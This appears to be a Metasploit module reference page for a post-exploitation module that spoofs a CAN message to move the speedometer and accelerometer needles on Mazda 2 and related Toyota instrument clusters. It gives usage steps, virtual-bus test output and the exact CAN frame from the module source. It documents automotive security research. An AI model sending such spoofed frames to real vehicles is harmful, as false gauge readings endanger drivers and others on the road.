Mazda 2 Instrument Cluster Accelorometer Mover - Metasploit
This page contains detailed information about how to use the post/hardware/automotive/mazda_ic_mover metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Mazda 2 Instrument Cluster Accelorometer Mover
Module: post/hardware/automotive/mazda_ic_mover
Source code: modules/post/hardware/automotive/mazda_ic_mover.rb
Disclosure date: -
Last modification time: 2019-09-13 09:32:21 +0000
Supported architecture(s): -
Supported platform(s): Hardware
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module moves the needle of the accelorometer and speedometer of the Mazda 2 instrument cluster
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/hardware/automotive/mazda_ic_mover
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/hardware/automotive/mazda_ic_mover
msf post(mazda_ic_mover) > show options
... show and set options ...
msf post(mazda_ic_mover) > set SESSION session-id
msf post(mazda_ic_mover) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/hardware/automotive/mazda_ic_mover")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Introduction
mazda_ic_mover or Mazda 2 Instrument Cluster Accelorometer Mover sends CAN message to move the needle of the accelorometer and speedometer of the Mazda 2 instrument cluster. This works specifically for for Mazda 2 1.5 Skyactiv, Mazda Demio, Mazda 2 Demio, Scion iA, Toyota Yaris, Toyota Yaris R and Toyota Yaris iA.
This research was done by Jay Turla of ROOTCON's Car Hacking Village.
Verification Steps
Fire up virtual CAN bus:
sudo modprobe can
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
You could also use Craig Smith's Virtual Instrument Cluster Simulator.
Launch msf:
- Start
msfconsole
use auxiliary/server/local_hwbridge
set uripath testbus
run
use auxiliary/client/hwbridge/connect
set targeturi testbus
Options
CANBUS CAN Bus to perform scan on, defaults to connected bus
Scenarios
A successful spoofing of an instrument cluster on a target vehicle:
msf5 auxiliary(client/hwbridge/connect) > run
[*] Running module against 127.0.0.1
[*] Attempting to connect to 127.0.0.1...
[*] Hardware bridge interface session 2 opened (127.0.0.1 -> 127.0.0.1) at 2019-09-11 04:59:40 -0700
[+] HWBridge session established
[*] HW Specialty: {"automotive"=>true} Capabilities: {"can"=>true, "custom_methods"=>true}
[!] NOTICE: You are about to leave the matrix. All actions performed on this hardware bridge
[!] could have real world consequences. Use this module in a controlled testing
[!] environment and with equipment you are authorized to perform testing on.
[*] Auxiliary module execution completed
msf5 auxiliary(client/hwbridge/connect) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 hwbridge cmd/hardware automotive 127.0.0.1 -> 127.0.0.1 (127.0.0.1)
msf5 auxiliary(client/hwbridge/connect) > sessions -i 2
[*] Starting interaction with 2...
hwbridge > run post/hardware/automotive/mazda_ic_mover CANBUS=vcan0
[*] Moving the accelorometer and speedometer...
hwbridge > run post/hardware/automotive/mazda_ic_mover CANBUS=vcan0
[*] Moving the accelorometer and speedometer...
hwbridge > run post/hardware/automotive/mazda_ic_mover CANBUS=vcan0
[*] Moving the accelorometer and speedometer...
hwbridge > run post/hardware/automotive/mazda_ic_mover CANBUS=vcan0
[*] Moving the accelorometer and speedometer...
hwbridge > run post/hardware/automotive/mazda_ic_mover CANBUS=vcan0
[*] Moving the accelorometer and speedometer...
You can use candump to verify the CAN messages being sent:
jjt@ubuntu:~/pentot/ICSim$ candump -c vcan0
vcan0 202 [8] 60 01 60 60 60 60 60 00
vcan0 202 [8] 60 01 60 60 60 60 60 00
vcan0 202 [8] 60 01 60 60 60 60 60 00
vcan0 202 [8] 60 01 60 60 60 60 60 00
Go back to menu.
Msfconsole Usage
Here is how the hardware/automotive/mazda_ic_mover post exploitation module looks in the msfconsole:
msf6 > use post/hardware/automotive/mazda_ic_mover
msf6 post(hardware/automotive/mazda_ic_mover) > show info
Name: Mazda 2 Instrument Cluster Accelorometer Mover
Module: post/hardware/automotive/mazda_ic_mover
Platform: Hardware
Arch:
Rank: Normal
Provided by:
Jay Turla
Compatible session types:
Hwbridge
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CANBUS no CAN Bus to perform scan on, defaults to connected bus
SESSION yes The session to run this module on.
Description:
This module moves the needle of the accelorometer and speedometer of
the Mazda 2 instrument cluster
Module Options
This is a complete list of options available in the hardware/automotive/mazda_ic_mover post exploitation module:
msf6 post(hardware/automotive/mazda_ic_mover) > show options
Module options (post/hardware/automotive/mazda_ic_mover):
Name Current Setting Required Description
---- --------------- -------- -----------
CANBUS no CAN Bus to perform scan on, defaults to connected bus
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the hardware/automotive/mazda_ic_mover post exploitation module:
msf6 post(hardware/automotive/mazda_ic_mover) > show advanced
Module advanced options (post/hardware/automotive/mazda_ic_mover):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the hardware/automotive/mazda_ic_mover module can do:
msf6 post(hardware/automotive/mazda_ic_mover) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the hardware/automotive/mazda_ic_mover post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(hardware/automotive/mazda_ic_mover) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The hwbridge requires a functional automotive extention
Here is a relevant code snippet related to the "The hwbridge requires a functional automotive extention" error message:
19: ])
20: end
21:
22: def run
23: unless client.automotive
24: print_error("The hwbridge requires a functional automotive extention")
25: return
26: end
27: print_status("Moving the accelorometer and speedometer...")
28: client.automotive.cansend(datastore['CANBUS'], "202", "6001606060606000")
29: end
Go back to menu.
Related Pull Requests
Go back to menu.
See Also
Check also the following modules related to this module:
- post/hardware/automotive/can_flood
- post/hardware/automotive/canprobe
- post/hardware/automotive/diagnostic_state
- post/hardware/automotive/ecu_hard_reset
- post/hardware/automotive/getvinfo
- post/hardware/automotive/identifymodules
- post/hardware/automotive/malibu_overheat
- post/hardware/automotive/pdt
Authors
- Jay Turla
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.